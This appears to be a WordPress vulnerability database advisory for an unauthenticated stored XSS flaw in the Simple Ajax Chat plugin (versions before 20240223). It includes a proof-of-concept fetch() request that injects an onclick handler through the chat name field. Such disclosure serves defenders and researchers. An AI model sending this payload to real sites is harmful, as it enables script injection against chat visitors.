WordPress Plugin Vulnerabilities
Simple Ajax Chat < 20240223 - Unauthenticated Stored XSS
Description
The plugin does not prevent visitors from using malicious Names when using the chat, which will be reflected unsanitized to other users.
Proof of Concept
await fetch("http://vulnerable-site.tld/wp-content/plugins/simple-ajax-chat/simple-ajax-chat-core.php?sacSendChat=yes", { "credentials": "include", "headers": { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0", "Accept": "*/*", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Content-Type": "application/x-www-form-urlencoded", "Sec-GPC": "1" }, "body": "n=%22onclick=%22alert`1`%22&c=adasd&u=https%3A%2F%2F&sac_nonce=$NONCE&sac_js_nonce=$NONCE", "method": "POST", "mode": "cors" });
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
Miscellaneous
Original Researcher
fourcade
Submitter
fourcade
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2024-02-28 (about 1 months ago)
Added
2024-02-28 (about 1 months ago)
Last Updated
2024-02-28 (about 1 months ago)